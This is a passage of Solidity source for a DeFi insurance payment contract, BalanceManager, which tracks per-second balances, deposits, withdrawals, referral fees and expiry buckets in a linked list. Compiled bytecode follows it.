// then check if depositing nft will last more than latest if (infos[tail].expiresAt <= expiresAt) { infos[tail].next = expireId; // push nft at tail infos[expireId] = ExpireMetadata(EMPTY,tail,expiresAt); tail = expireId; // update tail of bucket Bucket storage b = checkPoints[bucket]; b.tail = expireId; if(b.head == EMPTY) { // if head is zero, this bucket was empty should fill head with expireId b.head = expireId; } // this case is done now return; } // so our nft is somewhere in between if (checkPoints[bucket].head != EMPTY) { //bucket is not empty //we just need to find our neighbor in the bucket uint160 cursor = checkPoints[bucket].head; // iterate until we find our nft's next while(infos[cursor].expiresAt < expiresAt){ cursor = infos[cursor].next; } infos[expireId] = ExpireMetadata(cursor, infos[cursor].prev, expiresAt); infos[infos[cursor].prev].next = expireId; infos[cursor].prev = expireId; //now update bucket's head/tail data Bucket storage b = checkPoints[bucket]; if (infos[b.head].prev == expireId){ b.head = expireId; } if (infos[b.tail].next == expireId){ b.tail = expireId; } } else { //bucket is empty //should find which bucket has depositing nft's closest neighbor // step 1 find prev bucket uint64 prevCursor = uint64( bucket.sub(BUCKET_STEP) ); while(checkPoints[prevCursor].tail == EMPTY){ prevCursor = uint64( prevCursor.sub(BUCKET_STEP) ); } uint160 prev = checkPoints[prevCursor].tail; uint160 next = infos[prev].next; // step 2 link prev buckets tail - nft - next buckets head infos[expireId] = ExpireMetadata(next,prev,expiresAt); infos[prev].next = expireId; infos[next].prev = expireId; checkPoints[bucket].head = expireId; checkPoints[bucket].tail = expireId; } } function pop(uint160 expireId) internal { uint64 expiresAt = infos[expireId].expiresAt; uint64 bucket = uint64( (expiresAt.div(BUCKET_STEP)).mul(BUCKET_STEP) ); // check if bucket is empty // if bucket is empty, end if(checkPoints[bucket].head == EMPTY){ return; } // if bucket is not empty, iterate through // if expiresAt of current cursor is larger than expiresAt of parameter, reverts for(uint160 cursor = checkPoints[bucket].head; infos[cursor].expiresAt <= expiresAt; cursor = infos[cursor].next) { ExpireMetadata memory info = infos[cursor]; // if expiresAt is same of paramter, check if expireId is same if(info.expiresAt == expiresAt && cursor == expireId) { // if yes, delete it // if cursor was head, move head to cursor.next if(head == cursor) { head = info.next; } // if cursor was tail, move tail to cursor.prev if(tail == cursor) { tail = info.prev; } // if cursor was head of bucket if(checkPoints[bucket].head == cursor){ // and cursor.next is still in same bucket, move head to cursor.next if(infos[info.next].expiresAt.div(BUCKET_STEP) == bucket.div(BUCKET_STEP)){ checkPoints[bucket].head = info.next; } else { // delete whole checkpoint if bucket is now empty delete checkPoints[bucket]; } } else if(checkPoints[bucket].tail == cursor){ // since bucket.tail == bucket.haed == cursor case is handled at the above, // we only have to handle bucket.tail == cursor != bucket.head checkPoints[bucket].tail = info.prev; } // now we handled all tail/head situation, we have to connect prev and next infos[info.prev].next = info.next; infos[info.next].prev = info.prev; // delete info and end delete infos[cursor]; return; } // if not, continue -> since there can be same expires at with multiple expireId } //changed to return for consistency return; //revert("Info does not exist"); } uint256[50] private __gap; } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IBalanceManager { event Deposit(address indexed user, uint256 amount); event Withdraw(address indexed user, uint256 amount); event Loss(address indexed user, uint256 amount); event PriceChange(address indexed user, uint256 price); event AffiliatePaid(address indexed affiliate, address indexed referral, uint256 amount, uint256 timestamp); event ReferralAdded(address indexed affiliate, address indexed referral, uint256 timestamp); function deposit(address _referrer) external payable; function withdraw(uint256 _amount) external; function initialize(address _armormaster, address _devWallet) external; function balanceOf(address _user) external view returns (uint256); function perSecondPrice(address _user) external view returns(uint256); function changePrice(address user, uint64 _newPricePerSec) external; } interface IPlanManager { // Event to notify frontend of plan update. event PlanUpdate(address indexed user, address[] protocols, uint256[] amounts, uint256 endTime); function initialize(address _armorManager) external; function changePrice(address _scAddress, uint256 _pricePerAmount) external; function updatePlan(address[] calldata _protocols, uint256[] calldata _coverAmounts) external; function checkCoverage(address _user, address _protocol, uint256 _hacktime, uint256 _amount) external view returns (uint256, bool); function coverageLeft(address _protocol) external view returns(uint256); function getCurrentPlan(address _user) external view returns(uint128 start, uint128 end); function updateExpireTime(address _user, uint256 _expiry) external; function planRedeemed(address _user, uint256 _planIndex, address _protocol) external; function totalUsedCover(address _scAddress) external view returns (uint256); } interface IRewardDistributionRecipient { function notifyRewardAmount(uint256 reward) payable external; } interface IRewardManager is IRewardDistributionRecipient { function initialize(address _rewardToken, address _stakeManager) external; function stake(address _user, uint256 _coverPrice, uint256 _nftId) external; function withdraw(address _user, uint256 _coverPrice, uint256 _nftId) external; function getReward(address payable _user) external; } interface IUtilizationFarm is IRewardDistributionRecipient { function initialize(address _rewardToken, address _stakeManager) external; function stake(address _user, uint256 _coverPrice) external; function withdraw(address _user, uint256 _coverPrice) external; function getReward(address payable _user) external; } /** * @dev BorrowManager is where borrowers do all their interaction and it holds funds * until they're sent to the StakeManager. **/ contract BalanceManager is ArmorModule, IBalanceManager, BalanceExpireTracker { using SafeMath for uint256; using SafeMath for uint128; // Wallet of the developers for if a developer fee is being paid. address public devWallet; // With lastTime and secondPrice we can determine balance by second. struct Balance { uint64 lastTime; uint64 perSecondPrice; uint128 lastBalance; } // keep track of monthly payments and start/end of those mapping (address => Balance) public balances; // user => referrer mapping (address => address) public referrers; // Percent of funds that go to development--start with 0 and can change. uint128 public devPercent; // Percent of funds referrers receive. 20 = 2%. uint128 public refPercent; // Percent of funds given to governance stakers. uint128 public govPercent; // Denominator used to when distributing tokens 1000 == 100% uint128 public constant DENOMINATOR = 1000; // True if utilization farming is still ongoing bool public ufOn; // Mapping of shields so we don't reward them for U.F. mapping (address => bool) public arShields; // Block withdrawals within 1 hour of depositing. modifier onceAnHour { require(block.timestamp >= balances[msg.sender].lastTime.add(1 hours), "You must wait an hour after your last update to withdraw."); _; } /** * @dev Call updateBalance before any action is taken by a user. * @param _user The user whose balance we need to update. **/ modifier update(address _user) { uint256 _oldBal = _updateBalance(_user); _; _updateBalanceActions(_user, _oldBal); } /** * @dev Keep function can be called by anyone to balances that have been expired. This pays out addresses and removes used cover. * This is external because the doKeep modifier calls back to ArmorMaster, which then calls back to here (and elsewhere). **/ function keep() external { // Restrict each keep to 2 removes max. for (uint256 i = 0; i < 2; i++) { if (infos[head].expiresAt != 0 && infos[head].expiresAt <= now) { address oldHead = address(head); uint256 oldBal = _updateBalance(oldHead); _updateBalanceActions(oldHead, oldBal); } else return; } } /** * @param _armorMaster Address of the ArmorMaster contract. **/ function initialize(address _armorMaster, address _devWallet) external override { initializeModule(_armorMaster); devWallet = _devWallet; devPercent = 0; // 0 % refPercent = 25; // 2.5% govPercent = 0; // 0% ufOn = true; } /** * @dev Borrower deposits an amount of ETH to pay for coverage. * @param _referrer User who referred the depositor. **/ function deposit(address _referrer) external payable override doKeep update(msg.sender) { if ( referrers[msg.sender] == address(0) ) { referrers[msg.sender] = _referrer != address(0) ? _referrer : devWallet; emit ReferralAdded(_referrer, msg.sender, block.timestamp); } require(msg.value > 0, "No Ether was deposited."); balances[msg.sender].lastBalance = uint128(balances[msg.sender].lastBalance.add(msg.value)); emit Deposit(msg.sender, msg.value); } /** * @dev Borrower withdraws ETH from their balance. * @param _amount The amount of ETH to withdraw. **/ function withdraw(uint256 _amount) external override onceAnHour doKeep update(msg.sender) { require(_amount > 0, "Must withdraw more than 0."); Balance memory balance = balances[msg.sender]; // Since cost increases per second, it's difficult to estimate the correct amount. Withdraw it all in that case. if (balance.lastBalance > _amount) { balance.lastBalance = uint128( balance.lastBalance.sub(_amount) ); } else { _amount = balance.lastBalance; balance.lastBalance = 0; } balances[msg.sender] = balance; msg.sender.transfer(_amount); emit Withdraw(msg.sender, _amount); } /** * @dev Find the current balance of a user to the second. * @param _user The user whose balance to find. **/ function balanceOf(address _user) public view override returns (uint256) { Balance memory balance = balances[_user]; // We adjust balance on chain based on how many blocks have passed. uint256 lastBalance = balance.lastBalance; uint256 timeElapsed = block.timestamp.sub(balance.lastTime); uint256 cost = timeElapsed.mul(balance.perSecondPrice); // If the elapsed time has brought balance to 0, make it 0. uint256 newBalance; if (lastBalance > cost) newBalance = lastBalance.sub(cost); else newBalance = 0; return newBalance; } /** * @dev Send funds to governanceStaker and rewardManager (don't want to have to send them with every transaction). **/ function releaseFunds() public { uint256 govBalance = balances[getModule("GOVSTAKE")].lastBalance; // If staking contracts are sent too low of a reward, it can mess up distribution. if (govBalance >= 1 ether / 10) { IRewardManager(getModule("GOVSTAKE")).notifyRewardAmount{value: govBalance}(govBalance); balances[getModule("GOVSTAKE")].lastBalance = 0; } uint256 rewardBalance = balances[getModule("REWARD")].lastBalance; // If staking contracts are sent too low of a reward, it can mess up distribution. if (rewardBalance >= 1 ether / 10) { IRewardManager(getModule("REWARD")).notifyRewardAmount{value: rewardBalance}(rewardBalance); balances[getModule("REWARD")].lastBalance = 0; } } function perSecondPrice(address _user) external override view returns(uint256) { Balance memory balance = balances[_user]; return balance.perSecondPrice; } /** * @dev PlanManager has the ability to change the price that a user is paying for their insurance. * @param _user The user whose price we are changing. * @param _newPrice the new price per second that the user will be paying. **/ function changePrice(address _user, uint64 _newPrice) external override onlyModule("PLAN") { _updateBalance(_user); _priceChange(_user, _newPrice); if (_newPrice > 0) _adjustExpiry(_user, balances[_user].lastBalance.div(_newPrice).add(block.timestamp)); else _adjustExpiry(_user, block.timestamp); } /** * @dev Update a borrower's balance to it's adjusted amount. * @param _user The address to be updated. **/ function _updateBalance(address _user) internal returns (uint256 oldBalance) { Balance memory balance = balances[_user]; oldBalance = balance.lastBalance; uint256 newBalance = balanceOf(_user); // newBalance should never be greater than last balance. uint256 loss = oldBalance.sub(newBalance); _payPercents(_user, uint128(loss)); // Update storage balance. balance.lastBalance = uint128(newBalance); balance.lastTime = uint64(block.timestamp); emit Loss(_user, loss); balances[_user] = balance; } /** * @dev Actions relating to balance updates. * @param _user The user who we're updating. * @param _oldBal The original balance in the tx. **/ function _updateBalanceActions(address _user, uint256 _oldBal) internal { Balance memory balance = balances[_user]; if (_oldBal != balance.lastBalance && balance.perSecondPrice > 0) { _notifyBalanceChange(_user, balance.lastBalance, balance.perSecondPrice); _adjustExpiry(_user, balance.lastBalance.div(balance.perSecondPrice).add(block.timestamp)); } if (balance.lastBalance == 0 && _oldBal != 0) { _priceChange(_user, 0); } } /** * @dev handle the user's balance change. this will interact with UFB * @param _user user's address * @param _newPrice user's new per sec price **/ function _priceChange(address _user, uint64 _newPrice) internal { Balance memory balance = balances[_user]; uint64 originalPrice = balance.perSecondPrice; if(originalPrice == _newPrice) { // no need to process return; } if (ufOn && !arShields[_user]) { if(originalPrice > _newPrice) { // price is decreasing IUtilizationFarm(getModule("UFB")).withdraw(_user, originalPrice.sub(_newPrice)); } else { // price is increasing IUtilizationFarm(getModule("UFB")).stake(_user, _newPrice.sub(originalPrice)); } } balances[_user].perSecondPrice = _newPrice; emit PriceChange(_user, _newPrice); } /** * @dev Adjust when a balance expires. * @param _user Address of the user whose expiry we're adjusting. * @param _newExpiry New Unix timestamp of expiry. **/ function _adjustExpiry(address _user, uint256 _newExpiry) internal { if (_newExpiry == block.timestamp) { BalanceExpireTracker.pop(uint160(_user)); } else { BalanceExpireTracker.push(uint160(_user), uint64(_newExpiry)); } } /** * @dev Balance has changed so PlanManager's expire time must be either increased or reduced. **/ function _notifyBalanceChange(address _user, uint256 _newBalance, uint256 _newPerSec) internal { uint256 expiry = _newBalance.div(_newPerSec).add(block.timestamp); IPlanManager(getModule("PLAN")).updateExpireTime(_user, expiry); } /** * @dev Give rewards to different places. * @param _user User that's being charged. * @param _charged Amount of funds charged to the user. **/ function _payPercents(address _user, uint128 _charged) internal { // percents: 20 = 2%. uint128 refAmount = referrers[_user] != address(0) ? _charged * refPercent / DENOMINATOR : 0; uint128 devAmount = _charged * devPercent / DENOMINATOR; uint128 govAmount = _charged * govPercent / DENOMINATOR; uint128 nftAmount = uint128( _charged.sub(refAmount).sub(devAmount).sub(govAmount) ); if (refAmount > 0) { balances[ referrers[_user] ].lastBalance = uint128( balances[ referrers[_user] ].lastBalance.add(refAmount) ); emit AffiliatePaid(referrers[_user], _user, refAmount, block.timestamp); } if (devAmount > 0) balances[devWallet].lastBalance = uint128( balances[devWallet].lastBalance.add(devAmount) ); if (govAmount > 0) balances[getModule("GOVSTAKE")].lastBalance = uint128( balances[getModule("GOVSTAKE")].lastBalance.add(govAmount) ); if (nftAmount > 0) balances[getModule("REWARD")].lastBalance = uint128( balances[getModule("REWARD")].lastBalance.add(nftAmount) ); } /** * @dev Controller can change how much referrers are paid. * @param _newPercent New percent referrals receive from revenue. 100 == 10%. **/ function changeRefPercent(uint128 _newPercent) external onlyOwner { require(_newPercent <= DENOMINATOR, "new percent cannot be bigger than DENOMINATOR"); refPercent = _newPercent; } /** * @dev Controller can change how much governance is paid. * @param _newPercent New percent that governance will receive from revenue. 100 == 10%. **/ function changeGovPercent(uint128 _newPercent) external onlyOwner { require(_newPercent <= DENOMINATOR, "new percent cannot be bigger than DENOMINATOR"); govPercent = _newPercent; } /** * @dev Controller can change how much developers are paid. * @param _newPercent New percent that devs will receive from revenue. 100 == 10%. **/ function changeDevPercent(uint128 _newPercent) external onlyOwner { require(_newPercent <= DENOMINATOR, "new percent cannot be bigger than DENOMINATOR"); devPercent = _newPercent; } /** * @dev Toggle whether utilization farming should be on or off. **/ function toggleUF() external onlyOwner { ufOn = !ufOn; } /** * @dev Toggle whether address is a shield. **/ function toggleShield(address _shield) external onlyOwner { arShields[_shield] = !arShields[_shield]; } // to reset the buckets function resetExpiry(uint160[] calldata _idxs) external onlyOwner { for(uint256 i = 0; i<_idxs.length; i++) { require(infos[_idxs[i]].expiresAt != 0, "not in linkedlist"); BalanceExpireTracker.pop(_idxs[i]); BalanceExpireTracker.push(_idxs[i], infos[_idxs[i]].expiresAt); } } // set desired head and tail function _resetBucket(uint64 _bucket, uint160 _head, uint160 _tail) internal { require(_bucket % BUCKET_STEP == 0, "INVALID BUCKET"); require( infos[infos[_tail].next].expiresAt >= _bucket + BUCKET_STEP && infos[_tail].expiresAt < _bucket + BUCKET_STEP && infos[_tail].expiresAt >= _bucket, "tail is not tail"); require( infos[infos[_head].prev].expiresAt < _bucket && infos[_head].expiresAt < _bucket + BUCKET_STEP && infos[_head].expiresAt >= _bucket, "head is not head"); checkPoints[_bucket].tail = _tail; checkPoints[_bucket].head = _head; } function resetBuckets(uint64[] calldata _buckets, uint160[] calldata _heads, uint160[] calldata _tails) external onlyOwner{ for(uint256 i = 0 ; i < _buckets.length; i++){ _resetBucket(_buckets[i], _heads[i], _tails[i]); } } }
0x6080604052600436106101cd5760003560e01c80638ea5220f116100f7578063d0ecab1511610095578063f340fa0111610064578063f340fa0114610805578063f4ff78bf1461082b578063f887f8621461085e578063fc3c28af14610891576101cd565b8063d0ecab1514610775578063d7693c07146107a8578063e4d06d82146107bd578063e55e8be9146107d2576101cd565b8063b4f54382116100d1578063b4f5438214610665578063bfdb8a4a14610698578063c6448410146106ad578063ce584bfa1461070f576101cd565b80638ea5220f146106265780638f7dcfa31461063b578063918f867414610650576101cd565b80634a3b68cc1161016f5780637115dc331161013e5780637115dc3314610448578063732986671461045d57806376ac760b1461049057806381beb60a1461050b576101cd565b80634a3b68cc1461038a57806359d5335b146103bd57806369d89575146103ee57806370a0823114610403576101cd565b80631c8b453f116101ab5780631c8b453f1461028e57806327e235e3146102bf5780632e1a7d4d14610325578063485cc9551461034f576101cd565b806313d8c840146101d2578063152b36e01461020357806319277b7d1461024a575b600080fd5b3480156101de57600080fd5b506101e76108a6565b604080516001600160a01b039092168252519081900360200190f35b34801561020f57600080fd5b506102366004803603602081101561022657600080fd5b50356001600160a01b03166108b5565b604080519115158252519081900360200190f35b34801561025657600080fd5b5061028c6004803603604081101561026d57600080fd5b5080356001600160a01b031690602001356001600160401b03166108ca565b005b34801561029a57600080fd5b506102a3610ab7565b604080516001600160401b039092168252519081900360200190f35b3480156102cb57600080fd5b506102f2600480360360208110156102e257600080fd5b50356001600160a01b0316610abe565b604080516001600160401b0394851681529290931660208301526001600160801b03168183015290519081900360600190f35b34801561033157600080fd5b5061028c6004803603602081101561034857600080fd5b5035610af7565b34801561035b57600080fd5b5061028c6004803603604081101561037257600080fd5b506001600160a01b0381358116916020013516610d97565b34801561039657600080fd5b506101e7600480360360208110156103ad57600080fd5b50356001600160a01b0316610dec565b3480156103c957600080fd5b506103d2610e07565b604080516001600160801b039092168252519081900360200190f35b3480156103fa57600080fd5b5061028c610e1d565b34801561040f57600080fd5b506104366004803603602081101561042657600080fd5b50356001600160a01b0316611047565b60408051918252519081900360200190f35b34801561045457600080fd5b506103d2611109565b34801561046957600080fd5b5061028c6004803603602081101561048057600080fd5b50356001600160801b0316611118565b34801561049c57600080fd5b5061028c600480360360208110156104b357600080fd5b810190602081018135600160201b8111156104cd57600080fd5b8201836020820111156104df57600080fd5b803590602001918460208302840111600160201b8311171561050057600080fd5b50909250905061123f565b34801561051757600080fd5b5061028c6004803603606081101561052e57600080fd5b810190602081018135600160201b81111561054857600080fd5b82018360208201111561055a57600080fd5b803590602001918460208302840111600160201b8311171561057b57600080fd5b919390929091602081019035600160201b81111561059857600080fd5b8201836020820111156105aa57600080fd5b803590602001918460208302840111600160201b831117156105cb57600080fd5b919390929091602081019035600160201b8111156105e857600080fd5b8201836020820111156105fa57600080fd5b803590602001918460208302840111600160201b8311171561061b57600080fd5b50909250905061143a565b34801561063257600080fd5b506101e7611570565b34801561064757600080fd5b506101e761157f565b34801561065c57600080fd5b506103d261158e565b34801561067157600080fd5b5061028c6004803603602081101561068857600080fd5b50356001600160801b0316611594565b3480156106a457600080fd5b506102366116be565b3480156106b957600080fd5b506106e0600480360360208110156106d057600080fd5b50356001600160401b03166116ce565b60405180836001600160a01b03168152602001826001600160a01b031681526020019250505060405180910390f35b34801561071b57600080fd5b506107426004803603602081101561073257600080fd5b50356001600160a01b03166116f4565b604080516001600160a01b0394851681529290931660208301526001600160401b03168183015290519081900360600190f35b34801561078157600080fd5b5061028c6004803603602081101561079857600080fd5b50356001600160a01b031661172c565b3480156107b457600080fd5b5061028c611813565b3480156107c957600080fd5b5061028c6118f2565b3480156107de57600080fd5b5061028c600480360360208110156107f557600080fd5b50356001600160801b03166119a9565b61028c6004803603602081101561081b57600080fd5b50356001600160a01b0316611ad3565b34801561083757600080fd5b5061028c6004803603602081101561084e57600080fd5b50356001600160a01b0316611cc7565b34801561086a57600080fd5b506104366004803603602081101561088157600080fd5b50356001600160a01b0316611da7565b34801561089d57600080fd5b506103d2611e0c565b6003546001600160a01b031681565b603c6020526000908152604090205460ff1681565b63282620a760e11b60606108dd82611e1b565b60405160200180806b037b7363c9036b7b23ab632960a51b815250600c0182805190602001908083835b602083106109265780518252601f199092019160209182019101610907565b6001836020036101000a038019825116818451168082178552505050505050905001807f2063616e2063616c6c20746869732066756e6374696f6e000000000000000000815250601701915050604051602081830303815290604052905061098d82611f36565b6001600160a01b0316336001600160a01b0316148190610a2b5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156109f05781810151838201526020016109d8565b50505050905090810190601f168015610a1d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50610a3584611fb5565b50610a40848461211a565b6001600160401b03831615610aa7576001600160a01b038416600090815260386020526040902054610aa2908590610a9d904290610a9790600160801b90046001600160801b03166001600160401b038916612385565b906123a9565b6123c2565b610ab1565b610ab184426123c2565b50505050565b6203f48081565b6038602052600090815260409020546001600160401b0380821691600160401b810490911690600160801b90046001600160801b031683565b33600090815260386020526040902054610b1c906001600160401b0316610e106123a9565b421015610b5a5760405162461bcd60e51b815260040180806020018281038252603981526020018061376a6039913960400191505060405180910390fd5b600080546040805163726836c160e11b815290516001600160a01b039092169263e4d06d829260048084019382900301818387803b158015610b9b57600080fd5b505af1158015610baf573d6000803e3d6000fd5b50505050336000610bbf82611fb5565b905060008311610c16576040805162461bcd60e51b815260206004820152601a60248201527f4d757374207769746864726177206d6f7265207468616e20302e000000000000604482015290519081900360640190fd5b610c1e6136fb565b5033600090815260386020908152604091829020825160608101845290546001600160401b038082168352600160401b82041692820192909252600160801b9091046001600160801b031691810182905290841015610ca2576040810151610c8f906001600160801b0316856123e2565b6001600160801b03166040820152610cb9565b60408101805160009091526001600160801b031693505b33600081815260386020908152604080832085518154938701518784015167ffffffffffffffff199095166001600160401b039283161767ffffffffffffffff60401b1916600160401b9290911691909102176001600160801b03908116600160801b919094160292909217909155516108fc87150291879190818181858888f19350505050158015610d50573d6000803e3d6000fd5b5060408051858152905133917f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364919081900360200190a250610d9282826123f7565b505050565b610da0826124ff565b603780546001600160a01b039092166001600160a01b031990921691909117905550601960801b603a55603b805470ffffffffffffffffffffffffffffffffff1916600160801b179055565b6039602052600090815260409020546001600160a01b031681565b603a54600160801b90046001600160801b031681565b600060386000610e3767474f565354414b4560c01b611f36565b6001600160a01b03168152602081019190915260400160002054600160801b90046001600160801b0316905067016345785d8a00008110610f3357610e8667474f565354414b4560c01b611f36565b6001600160a01b0316633c6b16ab82836040518363ffffffff1660e01b8152600401808281526020019150506000604051808303818588803b158015610ecb57600080fd5b505af1158015610edf573d6000803e3d6000fd5b5050505050600060386000610efe67474f565354414b4560c01b611f36565b6001600160a01b03168152602081019190915260400160002080546001600160801b03928316600160801b0292169190911790555b600060386000610f4b65149155d0549160d21b611f36565b6001600160a01b03168152602081019190915260400160002054600160801b90046001600160801b0316905067016345785d8a0000811061104357610f9865149155d0549160d21b611f36565b6001600160a01b0316633c6b16ab82836040518363ffffffff1660e01b8152600401808281526020019150506000604051808303818588803b158015610fdd57600080fd5b505af1158015610ff1573d6000803e3d6000fd5b505050505060006038600061100e65149155d0549160d21b611f36565b6001600160a01b03168152602081019190915260400160002080546001600160801b03928316600160801b0292169190911790555b5050565b60006110516136fb565b506001600160a01b0382166000908152603860209081526040808320815160608101835290546001600160401b03808216808452600160401b830490911694830194909452600160801b90046001600160801b03169181018290529290916110ba9042906123e2565b905060006110de84602001516001600160401b0316836125ae90919063ffffffff16565b90506000818411156110fb576110f484836123e2565b90506110ff565b5060005b9695505050505050565b603b546001600160801b031681565b60008054906101000a90046001600160a01b03166001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561116457600080fd5b505afa158015611178573d6000803e3d6000fd5b505050506040513d602081101561118e57600080fd5b50516001600160a01b031633146111d65760405162461bcd60e51b81526004018080602001828103825260218152602001806137496021913960400191505060405180910390fd5b6103e86001600160801b03821611156112205760405162461bcd60e51b815260040180806020018281038252602d81526020018061371c602d913960400191505060405180910390fd5b603a80546001600160801b03928316600160801b029216919091179055565b60008054906101000a90046001600160a01b03166001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561128b57600080fd5b505afa15801561129f573d6000803e3d6000fd5b505050506040513d60208110156112b557600080fd5b50516001600160a01b031633146112fd5760405162461bcd60e51b81526004018080602001828103825260218152602001806137496021913960400191505060405180910390fd5b60005b81811015610d92576004600084848481811061131857fe5b602090810292909201356001600160a01b031683525081019190915260400160002060010154600160a01b90046001600160401b0316611393576040805162461bcd60e51b81526020600482015260116024820152701b9bdd081a5b881b1a5b9ad9591b1a5cdd607a1b604482015290519081900360640190fd5b6113b78383838181106113a257fe5b905060200201356001600160a01b03166125d5565b6114328383838181106113c657fe5b905060200201356001600160a01b0316600460008686868181106113e657fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b0316815260200190815260200160002060010160149054906101000a90046001600160401b031661299d565b600101611300565b60008054906101000a90046001600160a01b03166001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561148657600080fd5b505afa15801561149a573d6000803e3d6000fd5b505050506040513d60208110156114b057600080fd5b50516001600160a01b031633146114f85760405162461bcd60e51b81526004018080602001828103825260218152602001806137496021913960400191505060405180910390fd5b60005b858110156115675761155f87878381811061151257fe5b905060200201356001600160401b031686868481811061152e57fe5b905060200201356001600160a01b031685858581811061154a57fe5b905060200201356001600160a01b031661309e565b6001016114fb565b50505050505050565b6037546001600160a01b031681565b6002546001600160a01b031681565b6103e881565b60008054906101000a90046001600160a01b03166001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156115e057600080fd5b505afa1580156115f4573d6000803e3d6000fd5b505050506040513d602081101561160a57600080fd5b50516001600160a01b031633146116525760405162461bcd60e51b81526004018080602001828103825260218152602001806137496021913960400191505060405180910390fd5b6103e86001600160801b038216111561169c5760405162461bcd60e51b815260040180806020018281038252602d81526020018061371c602d913960400191505060405180910390fd5b603b80546001600160801b0319166001600160801b0392909216919091179055565b603b54600160801b900460ff1681565b600160208190526000918252604090912080549101546001600160a01b03918216911682565b600460205260009081526040902080546001909101546001600160a01b0391821691811690600160a01b90046001600160401b031683565b60008054906101000a90046001600160a01b03166001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561177857600080fd5b505afa15801561178c573d6000803e3d6000fd5b505050506040513d60208110156117a257600080fd5b50516001600160a01b031633146117ea5760405162461bcd60e51b81526004018080602001828103825260218152602001806137496021913960400191505060405180910390fd5b6001600160a01b03166000908152603c60205260409020805460ff19811660ff90911615179055565b60008054906101000a90046001600160a01b03166001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561185f57600080fd5b505afa158015611873573d6000803e3d6000fd5b505050506040513d602081101561188957600080fd5b50516001600160a01b031633146118d15760405162461bcd60e51b81526004018080602001828103825260218152602001806137496021913960400191505060405180910390fd5b603b805460ff60801b198116600160801b9182900460ff1615909102179055565b60005b60028110156119a5576002546001600160a01b0316600090815260046020526040902060010154600160a01b90046001600160401b03161580159061196857506002546001600160a01b031660009081526004602052604090206001015442600160a01b9091046001600160401b031611155b15611997576002546001600160a01b0316600061198482611fb5565b905061199082826123f7565b505061199d565b506119a7565b6001016118f5565b505b565b60008054906101000a90046001600160a01b03166001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156119f557600080fd5b505afa158015611a09573d6000803e3d6000fd5b505050506040513d6020811015611a1f57600080fd5b50516001600160a01b03163314611a675760405162461bcd60e51b81526004018080602001828103825260218152602001806137496021913960400191505060405180910390fd5b6103e86001600160801b0382161115611ab15760405162461bcd60e51b815260040180806020018281038252602d81526020018061371c602d913960400191505060405180910390fd5b603a80546001600160801b0319166001600160801b0392909216919091179055565b600080546040805163726836c160e11b815290516001600160a01b039092169263e4d06d829260048084019382900301818387803b158015611b1457600080fd5b505af1158015611b28573d6000803e3d6000fd5b50505050336000611b3882611fb5565b336000908152603960205260409020549091506001600160a01b0316611bdd576001600160a01b038316611b77576037546001600160a01b0316611b79565b825b3360008181526039602090815260409182902080546001600160a01b0319166001600160a01b039586161790558151428152915192938716927f3b54244fd9f24308e8af20c841d18d51e8bf31c6d418e821cbac2448146004569281900390910190a35b60003411611c32576040805162461bcd60e51b815260206004820152601760248201527f4e6f20457468657220776173206465706f73697465642e000000000000000000604482015290519081900360640190fd5b33600090815260386020526040902054611c5c90600160801b90046001600160801b0316346123a9565b3360008181526038602090815260409182902080546001600160801b03958616600160801b029516949094179093558051348152905191927fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c92918290030190a2610d9282826123f7565b60008054906101000a90046001600160a01b03166001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b158015611d1357600080fd5b505afa158015611d27573d6000803e3d6000fd5b505050506040513d6020811015611d3d57600080fd5b50516001600160a01b03163314611d855760405162461bcd60e51b81526004018080602001828103825260218152602001806137496021913960400191505060405180910390fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000611db16136fb565b50506001600160a01b0316600090815260386020908152604091829020825160608101845290546001600160401b038082168352600160401b820416928201839052600160801b90046001600160801b031692019190915290565b603a546001600160801b031681565b6040805160208082528183019092526060918291906020820181803683370190505090506000805b6020811015611e99576008810260020a85026001600160f81b0319811615611e905780848481518110611e7257fe5b60200101906001600160f81b031916908160001a9053506001909201915b50600101611e43565b506060816001600160401b0381118015611eb257600080fd5b506040519080825280601f01601f191660200182016040528015611edd5760208201818036833701905